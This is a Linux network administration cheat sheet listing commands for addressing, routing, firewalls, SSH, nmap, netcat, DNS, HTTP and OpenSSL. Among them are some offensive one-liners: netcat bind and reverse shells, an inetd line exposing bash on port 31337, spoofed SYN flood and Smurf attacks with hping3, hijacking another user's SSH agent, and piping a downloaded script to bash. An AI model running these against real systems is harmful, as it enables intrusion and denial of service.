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Linux Network Administration

Open Systems Interconnection model vs. TCP/IP model

Internet Protocol (IP) Addresses

IPv4 addresses and mask

IPv6 addresses

• IPv6 (128bit) – y : y : y : y : y : y : y : y
• IPv6 with IPv4 part – y : y : y : y : y : y : x . x . x . x
• Access IPv6 URL – http://[2a01:4f8:130:2192::2]
• Zeroes can be ommitted:
• Loopback: 00000:0000:0000:0000:000:0000:0000:0001  ≈  0:0:0:0:0:0:0:1  ≈  ::1
• Multiple zero groups “::”: 2001:0:0:0:0:0:0:ab  ≈  2001::ab
• Use only one groups symbol: 2001:0:0:1:0:0:0:ab  ≈  2001:0:0:1::ab  ≈  2001::1:0:0:0:ab
• IEEE EUI-64 identifier:
1. Ethernet (Media Access Control) address: 38:c9:86:30:63:bf
2. Identificator: 0 local, 1 global.
3. EUI-64 identifier: (38 or identificator = 39) 3ac9:86ff:fe30:63bf
4. Link-local address: fe80::3ac9:86ff:fe30:63bf

Reserved IP addresses

• Loopback: 127.0.0.1/8; ::1/128
• Unspecified address: 0.0.0.0/8; ::/128
• Multicast: 224.0.0.0/4; ff00::/8
• Private: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16; fc00::/7
• Automatic Private IP: 169.254.0.0/16
• IPv4 mapped addresses: ::ffff:0:0/96 (::ffff:0.0.0.0 – ::ffff:255.255.255.255)
• IPv4/IPv6 translation: 64:ff9b::/96
• For documentation examples: 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24; 2001:db8::/32

Most common ports (/etc/services)

• 20, 21 FTP
• 22 SSH (Secure Shell)
• 23 Telnet
• 25 SMTP
• 42 WINS
• 53 DNS
• 80, 8080 HTTP
• 88 Kerberos
• 110 POP3
• 111 Portmapper – Linux
• 119 NNTP (Network News)
• 123 NTP (Network Time Protocol)
• 135 RPC-DCOM
• 139 SMB
• 143 IMAP
• 161, 162 SNMP
• 389 LDAP
• 443 HTTPS (HTTP Secure)
• 445 CIFS
• 514 Syslog
• 636 Secure LDAP
• 1080 Socks5
• 1194 OpenVPN
• 1241 Nessus Server
• 1433, 1434 SQL Server
• 1494, 2598 Citrix Applications
• 1521 Oracle Listener
• 2512, 2513 Citrix Management
• 3306 MySQL
• 3389 RDP
• 5432 PostreSQL
• 6662–6667 IRC

Basic network setup

• Manage networking:
• SysV Init script: service network start/stop/restart, /etc/init.d/network start/stop/restart
• Systemd: servicectl start/stop/restart NetworkManager.service
• Set hostname:
• hostname name
• nmcli general hostname name
• edit file /etc/hostname
• hostnamectl set-hostname name
• Check hostname: hostname, hostnamectl
• Check if physical link exits: ethtool eth0
• Loop-back interface: ifconfig lo 127.0.0.1
• Loop-back route: route add 127.0.0.1
• List interfaces: cat /proc/net/dev, netstat -ie, tcpdump -D
• Show configuration: ifconfig, ip addr show, ip link show, ip link list
• Disable device: ifconfig eth0 down; ip link set eth0 down; nmcli connection down eth0
• Rename device (when disabled): ip link set enp0s25 name eth0
• Enable device: ifconfig eth0 up; ip link set eth0 up; nmcli connection up eth0
• Set bigger Maximum transmission unit (MTU) 9000 bytes for eth1: ifconfig eth1 mtu 9000 up, ip link set mtu 9000 eth1
• Set IP address:
• ifconfig eth0 192.168.0.1; ip addr add 192.168.0.1 dev eth0
• ifconfig eth0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
• ip addr add 192.168.0.1/24 broadcast 192.168.0.255 dev eth0
• nmcli con add con-name eno2 type ethernet ifname eno2 ip4 192.168.0.5/24 gw4 192.168.0.254
• dhclient -v eth0
• Delete IP address: ip addr del 192.168.0.1/24 dev eth0
• Add alias interface: ifconfig eth0:1 10.0.0.1/8; ip addr add 10.0.0.1/8 dev eth0 label eth0:1
• Set promiscuous mode: ifconfig eth0 promisc (-promisc to disable); ip link set eth0 promisc on/off
• Change MAC address: ifconfig eth0 hw ether AA:BB:CC:DD:EE:FF;
ip link set dev eth0 address AA:BB:CC:DD:EE:FF
• Default gateway:
• route add default gw 192.168.1.1 eth0
• ip route add 192.168.1.0/24 dev eth0
• ip route add 192.168.1.0/24 via 192.168.1.1
• Kernel network parameters: sysctl -a | grep net
• Displaying RAW Network Statistics: netstat --statistics --raw
• Restart PCI/PCIe bus device enp1s0:
• Find the number of slot: find /sys/devices -name enp1s0 (and use it for following commands).
• Remove device: echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/0000:01:00.0/remove
• Rescan bus: echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/rescan

Wi-Fi Networking

• List available devices: lspci | grep -E -i --color 'wifi|wlan|wireless'
• Scan available networks: iwlist wlan0 scan; nmcli dev wifi
• Display available channels: iwlist wlan0 freq
• Connect with WEP network: iwconfig wlan0 essid "Network SSID" key HEX_KEY
• Connect with WEP network: iwconfig wlan0 essid "Network SSID" key s:ASCII_KEY
• Connect with WEP network: nmcli dev wifi connect "Network SSID" password '123...'
• Connect with WPA: wpa_supplicant -B -i wlan0 -DWext -c /etc/wpa_supplicant.conf
• GUI configuration for WPA: wpa_gui
• Examples of WPA configuration: man wpa_supplicant.conf
• Watch signal quality: watch -n 1 cat /proc/net/wireless (link = SNR, level in dBm)

Configuration files of network interface settings

NetworkManager, nmcli, nmtui

• Text user interface for NetworkManager: nmtui
• Manage service: systemctl enable/disable/start/restart/stop NetworkManager.service
• List all devices: nmcli dev status
• List all connections: nmcli connection show
• Show detail about connection: nmcli con show eth0
• Add connection: nmcli con add con-name "default" type ethernet ifname eth0
• Set IPv4: nmcli con add con-name "static" ifname eth0 autoconnect no type ethernet ip4 172.125.X.10/24 gw 172.25.X.254
• Set IPv4: nmcli connection modify eth0 ipv4.addresses 10.0.0.2/8 ipv4.gateway 10.0.0.1
• Activate/deactivate connection: nmcli con up/down "static"
• Reload configuration: nmcli con reload
• Disconnect interface and disable autoconnect: nmcli device disconnect DEV
• Disable all managed interfaces: nmcli net off
• Add, modify, delete connection: nmcli con add / mod "ID" / del "ID"
• Set DNS: nmcli con modify eth0 ipv4.dns "8.8.8.8,8.8.4.4"
• Set routes: nmcli connection modify eth0 ipv4.routes "192.168.0.0/24 10.0.0.1, 192.168.1.0/24 10.0.0.1"

DHCP (Dynamic Host Configuration Protocol)

• Configure device: dhclient -v eth0
• Release device configuration: dhclient -r
• See what DHCP server provides: nmap --script broadcast-dhcp-discover
• DHCP client data: /var/lib/dhclient/dhclient.leases

Network sockets of processes

• List active connections: netstat -plunt; lsof -i; ss -tua
• List all network files of the process: lsof -i -a -p PID
• List all UNIX listening ports: netstat -lx
• Display all active network connection: netstat -na
• List process communication on port: lsof -i :22 / lsof -i :ssh
• Check PID binded on local port: ss -lt; fuser -n tcp 22
• Monitor net. communication of single proces: strace -f -e trace=network -s 10000 -p PID
• Monitor bandwidth of processes: nethog
• Color and interactive network monitor: iptraf-ng

Pinging with ICMP (Internet Control Message Protocol) and TCP

• For IPv6 use: ping6, tracepath6, traceroute6
• Ping n-times: ping -c n host, hping3 -1 -c n host
• Broadcast: ping -b 10.0.0.255
• Use different interface: ping -I eth1
• Trace route: traceroute host; mtr -c 1 -r host
• TCP ping 3× existing port: hping3 -c 3 -p 443
• Flood with SYN packets with spoofed source IP: hping3 -S -P -U --flood -V --rand-source host
• Smurf attack: hping3 -1 --flood -a host
• Use TCP instead: tcptraceroute, tcping host port
• See who is pinging: tcpdump -i eth0 icmp

Ethernet Bridge Manipulation

• Shows all current instances of the ethernet bridge: brctl show
• Create bridge br0: brctl addbr br0, nmcli con add type bridge ifname br0
• Add/remove interface: brctl addif br0 eth1 / brctl delif br0 eth1
• Enable/disable Spanning Tree Protocol (STP): brctl stp br0 on / off
• Delete bridge: brctl delbr br0

ARP (Address Resolution Protocol)

• Show ARP table: arp; ip neighbor list; cat /proc/net/arp
• Clean ARP table: ip -s neigh flush all
• Add an entry in your ARP table:
• arp -i eth0 -s 192.168.0.1 00:11:22:33:44:55
• ip neigh add 192.168.0.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0
• Switch ARP resolution off on one device: ifconfig -arp eth0; ip link set dev eth0 arp off
• Delete entry in interface: arp -i eth1 -d 10.0.0.1
• arpping -I interface -c count destination

Routing

• Display routes: ip route show, ip route list, netstat -rn
• Set default gateway: ip route add default via 192.168.1.1, route add default gw 192.168.1.1
• Print host interfaces and routes: nmap --iflist
• Route IP range through eth0: ip route add 192.168.1.0/24 dev eth0
• Delete route: ip route delete 192.168.1.0/24 dev eth0
• Enable IP forwarding:
• echo "1" > /proc/sys/net/ipv4/ip_forward
• Save in /etc/sysctl.conf option net.ipv4.ip_forward = 1
• Static route configuration: /etc/sysconfig/network-scripts/route-eth0:
• default via 10.254.0.1 dev eth0
• 172.31.0.0/16 via 10.254.0.1 dev eth0

Firewall

IPv4/IPv6 packet filtering and NAT – iptables

• For IPv6 use: ip6tables
• Print all rules: iptables -S , iptables -L -v
• Clear all configured rules: iptables -F
• Basic chains: iptables -L | grep policy … INPUT, FORWARD, OUTPUT
• Accept connection on port N: iptables -A input -p tcp -dport N -j ACCEPT}
• Accept connection from IP: iptables -A input -p tcp -dport N -s IP/mask -j ACCEPT
• Drop connection from 192.168.10.x: iptables -A INPUT -s 192.168.10.0/24 -j DROP
• Block port N on eth1: iptables -A INPUT -i eth1 -p tcp --destination-port N -j DROP
• Enable SSH: iptables -A INPUT -m tcp -p tcp --dport 22 -j ACCEPT
• Enable SSH, HTTP, HTTPS: iptables -A INPUT -p tcp -m state --state NEW -m multiport --dports ssh,http,https -j ACCEPT
• Save iptables: /sbin/iptables-save > /etc/sysconfig/iptables, /etc/init.d/iptables save
• Network Address Translation (NAT) / Masquarage: iptables -t nat -A POSTROUTING -s 10.200.0.0/24 -o eth0 -j MASQUERADE
• Delete rule: iptables -t nat --line-numbers -L (list in table); iptables -t nat -D PREROUTING 2 (delete 2nd line)
• Check banned host for sshd service: fail2ban-client status sshd

Dynamic Firewall Manager – firewalld

• Check status: firewall-cmd --state, systemctl status firewalld
• Print all rules: firewall-cmd --list-all
• List zones: firewall-cmd --get-active-zones, firewall-cmd --get-zones
• Get or set default zone: firewall-cmd --get-default-zone, --set-default-zone=ZONE
• Set default zone: firewall-cmd --set-default-zone=ZONE
• Without --permament option any changes will not be available after restart.
• Open TCP port in zone: firewall-cmd --permanent --zone=ZONE --add-port=8080/tcp
• Enable services: firewall-cmd --permanent --add-service={http,https}
• Activate changes in configuration: firewall-cmd --reload
• Disable: --remove-port=port/protocol, --remove-service=service, --remove-source=X.X.X.X/Y
• Network Address Translation (NAT) / Masquarage: firewall-cmd --zone=external --add-masquerade
• Forward packets to other IP and port: firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=2055:toaddr=192.0.2.55
• Rich language examples:
• firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address=172.25.X.10/32 service name="http" log level=notice prefix="NEW HTTP " limit value="3/s" accept '
• firewall-cmd --permanent --add-rich-rule 'rule family=ipv4 source address=10.0.0.1/32 forward-port port=443 protocol=tcp to-port=22'

Traffic monitoring

tcpdump – dump traffic on a network

• Display communication with HTTP: tcpdump -i eth0 'tcp port 80'
• Communication with HTTP, print all ASCII, truncate packet content to 1024 bytes: tcpdump -vvv -s 1024 -l -A 'tcp port http'
• Display all communication except SSH: tcpdump -i eth0 'not port ssh'
• Display frames at the data link layer: tcpdump -e
• Don't convert host addresses / ports to name: tcpdump -n / -nn
• Hexdump headers and data of each packet: -X, and header -XX
• Monitor source: tcpdump -i eth0 src 192.168.10.1
• Monitor destination: tcpdump -i eth0 dst 192.168.10.1
• Monitor network: tcpdump -i eth0 net 192.168.10.1/24
• DNS packets: tcpdump udp and src port 53
• Capture communication on eth1 to file: tcpdump -ni eth1 -w file.cap
• Capture telnet and ssh: tcpdump -n portrange 22-23
• Check packet filter syntax: man pcap-filter
• See HTTP requests: tcpdump -v -n -l | grep -E -i "POST /|GET /|Host:"

Remote shells

Secure SHell (SSH)

• Connect: ssh -l login -p port hostname, ssh login@hostname
• Use only password authenication: ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no login@hostname
• Escape character sequences, press Enter, then “~” followed by a command:
• ~? – Display a list of escape characters.
• ~. – Terminate connection.
• ~Ctrl-z – suspend ssh process, use fg to enable it again.
• ~B – send a BREAK to the remote system.
• ~C – open a command line (use help) for port forwarding options.
• Connect over list of jumboxes: ssh -J user1@host1:port1,user2@host2:port2 user3@target -p port3
• Connect over bastion to target:2222: ssh -o ProxyCommand="ssh -i ~/.ssh/id_rsa user@bastion -W %h:%p" user@target -p2222
• Local port transfer – remote port will be available locally:
• ssh -L LocalPort:RemoteIP:RemotePort host
• ssh -L LocalIP:Localport:RemoteIP:RemotePort host
• Remote port transfer – local port will be available on remotely:
• ssh -R RemotePort:LocalIP:LocalPort host
• ssh -R RemoteIP:Remoteport:LocalIP:LocalPort host
• Bind forwarded port on local address: GatewayPorts yes in /etc/ssh/sshd_config
• Dynamic port transfer – creation of SOCKS proxy:
• ssh -D LocalAddress:LocalPort host, ssh -D 1080 host
• Use LocalAddress:LocaPort as SOCKS proxy and all request will be forwarded through host.
• curl --user-agent "Mozilla" --socks4 localhost:1080 http://www.whatsmyip.org/
• SSH via SOCKS proxy: ssh -o ProxyCommand='nc --proxy-type socks4 --proxy 127.0.0.1:1080 %h %p' user@target
• Set SOCKS proxy in shell: export http_proxy=socks5://127.0.0.1:1080; export https_proxy=$http_proxy
• HTTP to SOCKS proxy: npm install -g http-proxy-to-socks; hpts --socks 127.0.0.1:9000 -p 8080
• Remote filesystem: sshfs -o allow_other,defer_permissions,IdentityFile=~/.ssh/id_rsa user@xxx.xxx.xxx.xxx:/ /mnt/droplet
• Copy remote stdout to your X11 buffer: ssh user@host 'cat /path/to/some/file' | xclip
• Compare local and remote file: diff ~/.bashrc <(ssh work cat ~/.bashrc)
• Check detailed SystemD logs for SSH daemon: journalctl -u sshd
• Display server settings: sshd -T | sort | less

SSH key handling

• Generate 4096bit key with comment: ssh-keygen -t rsa -b 4096 -C "Top secret key"
• Generate public key from private: ssh-keygen -y -f private.pem > public.pub
• Permissions: chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
• Copy key to host: ssh-copy-id user@host; cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'
• Holds SSH keys in memory for 8 hours: ssh-agent -t $((8*3600))
• Add key to agent: ssh-add ~/.ssh/id_rsa (will ask for passphrase once in time life)
• Forward SSH agent: ssh -A hostname
• Connect to SSH host via server: ssh -At server 'ssh host'
• Scan machine public key, with timeout 1 second: ssh-keyscan -T 1 -p port host
• Use somebody's else SSH agent: export SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339; ssh-add -l; ssh user@hostname

Remote desktop

• X11 SSH tunnel: ssh -X host, ssh -Y host (trusted)
• X11 redirection:
• on remote, redirect display: export DISPLAY=YOUR_IP:0.0
• on local, enable connection: xhost +REMOTE_IP
• Windows remote desktop: rdesktop -u USER -d DOMAIN -g 1024x768 -r disk:local=~ hostname
• Windows remote desktop: xfreerdp /u:"User name" /drive:home,/home/user /v:hostname:3389
• Other options: X2Go, VNC, NoMachine NX.

TELNET

• Connect: telnet hostname port
• Set login name: telnet -l login hostname
• Enter command mode: Ctlr-]
• Commands: quit, logout, user login, open host port

Remote file systems

Common Internet Filesystem (CIFS/SaMBa)

• Mount share: mount -t cifs '\\server\share' /mnt/local -o user=DOMAIN/USER
• List shares on host, IP: smbclient -L host, smbclient -I IP
• Connect to SMB host prompt: smbclient '\\server\share' -U user mypasswd
• smbclient commands: ls, dir, lcd, cd, pwd, get, mget, rm, quit
• Download file over SMB: smbget
• List the current Samba connections on server: smbstatus
• Permanent mount in /etc/fstab: //server/share /mnt/local cifs username=USER,password=PASS,rw 0 0
• Unmount all CIFS filesystems: umount -a -t cifs -l

Network File System (NFS)

• User must have same UID and GID on server and localhost.
• Server configuration stored in /etc/export:
• Share directory with client IP: /mnt/share 192.168.0.100(rw,sync,no_root_squash)
• ro read-only, rw read-write, sync , no_root_squash allow root, no_subtree_check
• List connected clients: netstat | grep nfs
• Remote check: rpcinfo -s bee | grep -E 'nfs|mountd'
• Show network statistics: nfsstat
• Show server's export list: showmount -e
• Mount remote directory: mount -t nfs 192.168.0.99:/mnt/share /mnt/local
• Permanent mount in /etc/fstab: 192.168.0.99:/mnt/share /mnt/local nfs rsize=8192,wsize=8192,timeo=14,intr,tcp 0 0

File transfer

File transfer protocol (FTP)

• Connect: ftp hostname
• Commands: ascii (default), binary (set transfer mode for binary files), bye, cd, cdup, close, delete, dir, get, lcd, ls, mget, mput, open, proxy, put, pwd, rmdir, verbose
• Other linux CLI clients: lftp, ncftp, curl, wput

rsync

• Usage: rsync source destination
• Tunnel through SSH on port 2222: rsync -avHPS --rsh="ssh -p 2222" source user@host:/dest/dir
• rsync CLI options:
• -v, --verbose – increase amount of output information
• -a, --archive – archive mode, equals -rlptgoD
• -r, --recursive – recursive into directories
• -l, --links – copy symlinks as symlinks
• -L, --copy-links – transform symlink into referent file/dir
• -p, --perms – preserve permissions
• -t, --times – preserve timestamp
• -g, --group; -o, --owner – preserve group, owner
• -D – synchronize device files
• -H, --hard-links – preserve hard links
• -P, --partial --progress – keep partial files (for resuming transfer)
• -S, --sparse – handle sparse files efficiently
• --dry-run – perform a trial run with no changes made
• --bwlimit=100 – limit transferring speed to 100 kB/s
• --delete – delete files that are not in source directory
• --remove-source-files – delete file after transfer

SCP/SFTP

• Copy to remote, SSH on port 2222: scp -P 2222 file.txt user@hostname.com:/home/user/
• Log to SFTP on port 2222: sftp -P 2222 user@hostname.com
• Run batch on SFTP transfer: sftp -b batchfile.txt user@hostname.com

Network Mapper, net and port scanning

• Scan multiple IP addresses: nmap 192.168.1.1-254, nmap 192.168.1.*, nmap 192.168.1.0/24
• Scan IP range for open HTTP port, grepable output to stdout: nmap --open -p80 10.0.0.0/24 -oG -
• Scan hosts given in file: nmap -iL list.txt (host, network, IP per like)
• Scan IPv6 network: nmap -6
• Scan ports: -p 22, -p 1-1024, -F (only most common ports), -p- (1-65535), -p U:53,111,137,T:21-25,80 (given TCP/UDP ports)
• Detect OS and services: -A, -sV (standard), -sV --version-intensity 5 (aggresive)
• Aggressive (-T4) OS and services version detection: nmap -v -A -T4 172.31.224.10
• Scan a firewall for MAC address spoofing: nmap -v -sT -PN --spoof-mac 11:22:33:AA:BB:CC 192.168.1.1
• Give up scan after 1 minute: --host-timeout 1m
• Wait 5 seconds between probes: --scan-delay 5s
• Never do DNS resolution / Always resolve: -n / -R
• Scan using default safe script: nmap -sV -sC 10.0.0.1
• Scan via SOCKS proxy: nmap -sV -Pn -n --proxies socks4://127.0.0.1:1080 scanme.nmap.org
• Using Nmap Scripting Engine (NSE):
• List installed scripts: locate .nse, rpm -ql nmap, dpkg -S nmap
• Traceroute with geolocation: nmap --traceroute --script traceroute-geolocation.nse host
• Brufe-force find of interesting server files and directories: nmap --script http-enum www.host.com
• Scan network for HTTP servers: nmap --script http-title -sV -p 80 192.168.0.0/24
• Find network SMB shares: nmap -p 445 --script smb-os-discovery 192.168.0.0/24
• Perform all HTTP related scripts: nmap --script http-* scanme.nmap.org
• Generate TCP packets: nping -c 1 --tcp -p 80,433 scanme.nmap.org
• Save scan to files output.gnmap (grepable), output.nmap (text), output.xml (XML): nmap -oA output -p- host
• Compare two nmap's XML outputs: ndiff scan1.xml scan2.xml
• Check uptime of remote host (TCP timestamp): hping3 --tcp-timestamp -S google.com -p 80 -c 3
• Scan open services on port range 1--1024: hping3 --scan 1-1024 -S host

netcat – Concatenate and redirect sockets

• Connect to port 80: nc www.google.com 80
• netcat default port, if -p it is not specified: 31337
• Protocols: --tcp, --udp, --sctp, --ssl, -4, -6
• Listen on TCP port 1234: nc -v -k -l 1234, UDP port: nc -v -k -ul 1234
• Allow/deny: --allow 192.168.0.0/24, --deny 10.0.0.0/8
• Transfer file:
• Sender: cat file.txt | nc -v -l -p 5555
• Receiver: nc host 5555 > file_copy.txt
• Remote shell:
• Server: nc -v -l -e /bin/bash
• Client: nc host, telnet host 31337
• Reverse telnet:
• Computer with public IP: nc -vv -l
• Computer behind firewall: nc -v public_host -e /bin/bash

bash – network support for shell scripting

• Special filenames: /dev/tcp/host/port, /dev/udp/host/port
• Open file descriptor 3 for TCP: exec 3<>/dev/tcp/www.root.cz/80
• Generate HTTP request: echo -en "GET /unix/ HTTP/1.1\r\nHost: www.root.cz\r\n\r\n" >&3
• Read from file descriptor 3: cat <&3
• Close descriptor 3: exec 3>&-
• Check open descriptors for current shell: ls -l /proc/$$/fd

Domain Name Service (DNS)

• Local names definition: /etc/hosts
• Sources of name resolution: /etc/nsswitch.conf
• Resolver configuration file – /etc/resolv.conf:

	nameserver 8.8.8.8
	nameserver 8.8.4.4
	search .mydomain.com

• Resolver configuration for systemd: /etc/systemd/resolved.conf
• Look up the IP address: host name, nslookup name, dig +short name, resolvectl query name
• Get DNS record: dig name, host -a name
• Trace DNS servers from root: dig +trace name
• Get entries from Name Service Switch libraries: getent
• Test resolution with /etc/hosts: getent hosts name
• Return hostname for IP: dig -x 10.32.1.10 +short
• Return IP for hostname: dig hostname +short
• Scan network for DNS records: for i in 192.168.10.{1..254}; do echo -e $i \t $(dig +short -x $i); done
• Get specific DNS record: dig -t record hostname/domain, host -t record hostname/domain
• A / AAAA – return 32/128 bit address for host
• CNAME – aliases of hostname, can point to A
• MX – mail exchanger record
• NS – specify authoritative nameserver for domain
• PTR – pointer records for reverse lookup (addr->host)
• SOA – Start of Authority, name of the server that supplied the data for the zone
• User given DNS server 8.8.8.8: dig @8.8.8.8 hostname, host hostname 8.8.8.8
• Ask root name server for a record: dig @a.root-servers.net example.com (will return authority DNS for domain)
• Get DNSSEC root keys: dig . DNSKEY | grep -Ev '^($|;)' > root.keys
• Verify DNSSEC of root.cz A record: dig +sigchase +trusted-key=./root.keys www.root.cz A
• Scan for DNS in local network: nmap --script=dns-service-discovery -p 53,5353 172.31.224.0/24 -oG - | grep open
• DNS over HTTPS (DoH): doh, dog A AAAA MX www.example.com @https://cloudflare-dns.com/dns-query --https

WHOIS service

• Client to access WHOIS service: whois, jwhois
• Query domain on given WHOIS server: whois -h whois.nic.cz seznam.cz
• Check who owns current IP address range/domain: whois IP / whois domain
• Get all subnets for specific AS (Autonomous system): whois -h whois.radb.net -- -i origin AS855 | grep route

HTTP(S) (Hypertext Transfer Protocol [SECURE])

• URL format: http://user:password@domain:port/path?query#fragment_id
• Mirror site: wget -e robots=off -r -L URL,
• Display HTTP header: curl -I URL, wget -S URL
• Download file: curl -O URL/file, wget URL/file
• Write output to file: curl -o file URL
• List directory: curl -s URL --list-only
• Authenticate: curl -u user:password URL, wget --user user --password pass URL
• Save cookies to file: wget -q --cookies=on --keep-session-cookies --save-cookies=cookie.txt URL
• Use saved cookies: wget -nv --content-disposition --referer= --cookies=on URL
• Download URL and display it in stdout: curl URL, wget -q -O - URL
• Download script and execute: wget -q -O - https://server/script.sh | bash -x -v
• Resume broken download: {wget -c URL}, curl -L -O -C - URL
• Change referer and browser id.: wget --referer URL --user-agent "Mozilla/5.0 (compatible; Linux)"
• Set HTTP header: curl -H "Content-Type: application/xml" URL
• Send cookie: curl -H "Cookie: name1=value; name2=another" URL, curl --cookie "name1=value; name2=another" URL
• POST request: curl -X POST -d 'name1=value&name2=another' URL
• Form upload file: Z curl --form upload=@localfilename --form press=OK URL
• Enable HTTP proxy in shell: export http_proxy=http://foo:bar@202.54.1.1:3128/
• Use the same for HTTPS: export https_proxy=$http_proxy
• Convert page to text: elinks -dump URL, lynx -dump URL
• Start HTTP server on port 9000 and share the current directory: python3 -m http.server 9000
• Nginx test configuration: nginx -t -c config, dump config: nginx -T
• Check provided SSLv3/TLS ciphers: nmap -sV --script ssl-enum-ciphers -p 443 hostname

OpenSSL

• Generate random sequences: openssl rand -base64 8
• Display server certificate: openssl s_client -showcerts -connect google.com:443
• Generate certificate: openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt
• Check SSL key MD5: openssl rsa -noout -modulus -in server.key | openssl md5
• Check expiration date: echo | openssl s_client -showcerts -connect google.com:443 2>&1 | openssl x509 -noout -dates
• Set 3 second timeout to previous command: echo | timeout 3 openssl s_client...
• Get information about certificate file: openssl x509 -noout -text -in certificate.crt
• Get Subject Alternative Names (SANs): openssl x509 -noout -ext subjectAltName -in certificate.crt
• Export certificate from PKCS#12 (password 123456): openssl pkcs12 -in file.p12 -out crt.pem -clcerts -nokeys -passin 'pass:123456'
• Export key from PKCS#12: openssl pkcs12 -in file.p12 -out key.pem -nocerts -nodes -passin 'pass:123456'

Network Time Protocol (NTP)

• NTP query program: ntpq tik.cesnet.cz
• Get server variables: ntpq -i tik.cesnet.cz <<< "cl"
• Show network time synchronisation status: ntpstat
• Set date from server: ntpdate -s time.nist.gov

Remote Procedure Call (RPC)

• Report RPC information: rpcinfo -p localhost

Internet daemon, TCP wrappers – inetd, xinetd

• Open port for remote access: echo "31337 stream tcp nowait userid /bin/bash bash -i" >> /tmp/config.conf; /usr/sbin/inetd /tmp/config.conf
• Host access control file: /etc/hosts.allow:
• Format: deamon_list : client_list
• Comments starts with: #
• All client from specified domain: ALL : .domain.com
• Range of IPs for SSH: sshd : 192.168.122.0/255.255.255.0 EXCEPT 192.168.122.150
• Rule for more services: rpc.mountd, in.tftpd : 192.168.100.100
• Daemon configuration in additional file: vsftpd: /etc/myftp.hosts
• Content of /etc/myftp.hosts: 192.168.0.0/255.255.255.0
• Deny access control file /etc/hosts.deny:
• Deny all services except TFTP for given domain: ALL EXCEPT in.tftpd : .domain.com
• Only one IP can access SSH: sshd : ALL EXCEPT 192.168.122.150
• All other services deny for all: ALL : ALL

Security Enhanced Linux (SELinux)

• List port mapping: semanage port -l
• Use 8000 for http: semanage port -a -t http_port_t -p tcp 8000
• Check status: getenforce
• Disable SELinux temporarily: setenforce 0
• Set directory accessible by httpd: chcon -R -t httpd_sys_content_t ./directory

Show/manipulate traffic control settings

• List existing rules: tc -s qdisc ls dev eth0
• Slow down traffic by 200 ms: tc qdisc add dev eth0 root netem delay 200ms
• Delete all rules: tc qdisc del dev eth0 root

Virtual Private Network (OpenVPN)

• TUN device for IP traffic, TAP device for ethernet frames
• Enable UDP port 1194: iptables -A INPUT -i eth0 -m state --state NEW -p udp --dport 1194 -j ACCEPT, firewall-cmd --permanent --add-service openvpn
• Basic server: openvpn --ifconfig 10.200.0.1 10.200.0.2 --dev tun
• Basic client: openvpn --ifconfig 10.200.0.2 10.200.0.1 --dev tun --remote your.openvpnserver.net
• Use TCP protocol: --proto tcp-server (server), --proto tcp-client (client)
• Create/use static key: openvpn --genkey --secret secret.key and use --secret secret.key on client/server.

E-mail

• Send email: curl --mail-from blah@test.com --mail-rcpt foo@test.com smtp://mailserver.com
• Send email: mail -s "This is subject" foo@test.com